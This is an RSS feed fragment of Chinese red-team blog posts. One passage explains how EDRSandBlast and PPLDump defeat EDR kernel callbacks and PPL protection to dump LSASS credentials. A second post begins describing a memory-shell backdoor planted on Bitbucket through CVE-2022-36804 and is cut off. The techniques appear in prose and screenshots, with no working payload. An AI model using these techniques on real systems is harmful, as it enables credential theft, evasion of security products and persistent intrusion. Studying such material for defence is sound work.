0.1em;color: rgb(63, 63, 63);">在团队之前的文章《基础免杀》系列中，我们提及了很多edr依赖内核回调实现报警的功能。EDRSandBlast 枚举在保存敏感内核api的数组中定义的例程，并删除链接到预定义的 EDR 驱动程序列表的任何回调例程（支持超过 1000 个安全产品驱动程序）。我们在该项目代码中可以看到对知名安全产品的检测规则，主要是三方面的检测，比如进程、二进制文件，如下图：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.42406726221755126" title="null" data-w="1903" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=594684e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJAuUgoCb0GibO63fI3QygWFdGoAalD1xrToaU8H6cNVq1R5tCalwRfDw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">包括驱动文件检查：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5278219395866455" title="null" data-w="1887" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c2850e92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJuEiagX1RFGQyxP0ZtTkibDJlB8SGpRy9alwfIMeOOIdtzxWnmjBia0iaFA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该程序后续在内核态干掉了edr的内核回调。后续又用了《基础免杀》中提及的disable ETW及解用户态钩子技术，达到bypass edr的效果。同时支持绕过ppl的功能：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在开启PPL的情况下，只有运行在较高保护级别的进程才能对受保护进程进行操作。Windows 内核使用 _EPROCESS 结构来表示内核内存中的进程，它包括一个 _PS_PROTECTION 字段，通过其 Type (_PS_PROTECTED_TYPE) 和 Signer (_PS_PROTECTED_SIGNER) 属性定义进程的保护级别。</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">typedef struct _PS_PROTECTION {<br/>    union {<br/>        UCHAR Level;<br/>        struct {<br/>            UCHAR Type   : 3;<br/>            UCHAR Audit  : 1;                  // Reserved<br/>            UCHAR Signer : 4;<br/>        };<br/>    };<br/>} PS_PROTECTION, *PPS_PROTECTION;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">（Level 是一个 UCHAR，即一个 unsigned char）。前 3 位代表保护类型（参见下面的 PS_PROTECTED_TYPE）。它定义了流程是 PP 还是 PPL。最后 4 位代表 Signer 类型（参见下面的 PS_PROTECTED_SIGNER），即实际的保护级别。</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">typedef enum _PS_PROTECTED_TYPE {<br/>    PsProtectedTypeNone = 0,<br/>    PsProtectedTypeProtectedLight = 1,<br/>    PsProtectedTypeProtected = 2<br/>} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;<br/> <br/>typedef enum _PS_PROTECTED_SIGNER {<br/>    PsProtectedSignerNone = 0,      // 0<br/>    PsProtectedSignerAuthenticode,  // 1<br/>    PsProtectedSignerCodeGen,       // 2<br/>    PsProtectedSignerAntimalware,   // 3<br/>    PsProtectedSignerLsa,           // 4<br/>    PsProtectedSignerWindows,       // 5<br/>    PsProtectedSignerWinTcb,        // 6<br/>    PsProtectedSignerWinSystem,     // 7<br/>    PsProtectedSignerApp,           // 8<br/>    PsProtectedSignerMax            // 9<br/>} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过在内核内存中写入，EDRSandblast 进程能够将其自身的保护级别升级到 PsProtectedSignerWinTcb-Light。这个级别足以转储 LSASS 进程内存，因为它“支配”到 PsProtectedSignerLsa-Light，即使用 RunAsPPL 机制运行的 LSASS 进程的保护级别。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">关键函数如下图所示：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.25979557069846676" title="null" data-w="2348" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b0dd6c61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJCfELWAaeicR0mHtEazicJyIGjZW1qBr9IKbCHgjhWN9dvjjNIemZlyAw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">直接操作内核的内存，达到SetCurrentProcessAsProtected的效果，后续使用syscall或直接在内存快照中MiniDumpWriteDump</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.33140053523639607" title="null" data-w="2242" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c6a98716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJicVSp5y8nwemSJgDKQkPGdXUZTiah4Ed8CCibJNfOHpQNKoGP7TAnkEEw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该项目对于EDR的bypass相当比较全面，并且提供的漏洞驱动静态上相对要好很多。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">用户态bypass</h3><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">从其他进程中寻找lsass进程句柄</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">开启ppl后我们无法获取到lsass.exe进程的句柄，但其他进程（例如防病毒软件）在其内存空间中已经打开了 LSASS 进程的句柄。因此，作为具有调试权限的管理员，我们可以将此句柄复制到您自己的进程中，然后使用它来访问 LSASS。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">事实证明，这种技术还有另一个目的。它还可用于绕过 RunAsPPL，因为某些未受保护的进程可能通过其他方式（例如使用驱动程序）获得了 LSASS 进程的句柄。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">查看pykatz的源码，逻辑很清晰：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6396713615023474" title="null" data-w="1704" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=54a30325&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJdkNL3RibicqWzic9YibcjPHTaG5rcJb60uyJXSokRHtYaT3gQPVias68hCg%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">PPLDump</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">假设被ppl保护的进程存在一个dll劫持漏洞，我们就可以在程序的内存空间中执行任意代码(和前面提到的ssp的方法有点类似)。但显然，lsass不可能存在dll劫持。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">但是，\Known DLLs给了我们机会，按照Windows 上的 DLL 搜索顺序，当一个进程被创建时，它首先会遍历\Known DLLs，然后继续搜索应用程序的目录、系统目录等等……一般只有在从磁盘加载的时候会校验文件签名。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">一般的pp保护的程序加载dll直接从磁盘加载：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.7757390417940877" title="null" data-w="1962" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0d3cb075&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJAIiaic3strKcMliabibX0U5xZuibwUGib5nJiboz1Pa48vluqFpaR7Wnw4Nmg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">而ppl保护的程序会从\Known DLLs先查找，如果我们可以控制\Known DLLs中的dll，就可以实现dll劫持的功能，进而达到在lsass的程序空间中执行代码的效果。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">控制Known DLLs相当复杂，主要使用DefineDosDevice，结合一系列的操作，相当复杂，甚至需要两次impersonate用户身份，这里不做赘述。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">总之就是通过一系列操作可以新建一个内核对象，该内核对象为一个符号链接，指向我们的恶意dll的section，而并非dll文件。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们可以使用NtCreateSection获得Section对象，但需要dll文件落地。作者使用一种从内存中直接map dll到已有dll的技术，并且无需修改dll的本地文件。具体实现可以参考原文。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">完成该操作后，我们需要找到一个进程，要满足被PPL保护且等级高于PsProtectedSignerLsa，比如PsProtectedSignerWinTcb-Light。且还要劫持目标dll后不影响程序功能，工具作者找到的进程为services.exe，被hook的dll为EventAggregation.dll：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.31896551724137934" title="null" data-w="1856" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ef908710&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJM9w6O0kNCxUhjyx0dUJP9DYCkZicvSg8N8tMyVCtIEFn1eYWiajumGUQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">工具作者在原项目关键步骤注释写的很清晰，感兴趣的朋友可以看原项目的代码。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同类的项目包括RIPPL。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">不幸的是，在较新的win10/server2022/win11(大约2022.7更新)的版本，该方法已不再有效。因为ppl程序于pp程序一样从磁盘直接加载dll。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">总结</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">目前遇到的AV/EDR对内存的保护，一类是对传统方式进行限制，如windows definder、symantec、macfee等。一类是用户态的apiHOOK，如卡巴斯基、sophos等。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">实际环境中还可能遇到既有AV/EDR，又开启PPL的情况，需要熟练掌握以上技术针对具体环境具体开发。</p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499459">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b29f53e6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499459%26idx%3D1%26sn%3Dc189797bfb783ea33012548aa6dcf2eb%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Jan 2023 09:10:00 +0800</pubDate>
    </item>
    <item>
      <title>Java安全-记一次实战使用memoryshell</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499415&amp;idx=1&amp;sn=3a8ff9e5f4596f01255f9ef11b2cd425</link>
      <description>本文是实战中遇到的一个技术点。很多时候我们使用内存马都是反序列化漏洞利用后一条龙直接植入。但有时候我们也会遇到命令拼接等问题获取到的权限，此时仅仅有命令执行而非代码执行的权限。常规的jsp马、cc等手段均无法作为后门，我们该怎么办？</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-11-14 09:10</span> <span style="display: inline-block;">江苏</span>
</p>

<p>本文是实战中遇到的一个技术点。很多时候我们使用内存马都是反序列化漏洞利用后一条龙直接植入。但有时候我们也会遇到命令拼接等问题获取到的权限，此时仅仅有命令执行而非代码执行的权限。常规的jsp马、cc等手段均无法作为后门，我们该怎么办？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ec812c88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HibJfQBIqicu81018ScA7nLeicudRkmPTUAOvQG3ybkxjCYHtoNXthruIQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">Java安全-记一次实战使用memoryshell</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">引言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">本文是实战中遇到的一个技术点。很多时候我们使用内存马都是反序列化漏洞利用后一条龙直接植入，如log4j时被广泛使用的JNDIExploit此类工具。但有时候我们也会遇到命令拼接等问题获取到的权限，此时仅仅有命令执行而非代码执行的权限。常规的jsp马、cc等手段均无法作为后门，植入内存马成为了我们的第一选择。内存马除了常规的webshell功能外，我们还可以利用内存马完成一些其他的事情。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">CVE-2022-36804</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">前期通过CVE-2022-36804获取命令执行权限，漏洞原理比较简单，具体可以看这篇文章<a href="https://www.anquanke.com/post/id/280193。" target="_blank">https://www.anquanke.com/post/id/280193。</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Bitbucket 是 Atlassian 公司提供的一个基于 web 的版本库托管服务，支持 Mercurial 和 Git 版本控制系统。支持私有化部署。该平台类似gitlab，是一个代码版本控制的平台，一般都是目标的it人员或管理员在使用。支持ldap认证及本地认证，获取到权限我们首先就想到驻留一个长期控制的后门。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过docker安装环境：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: 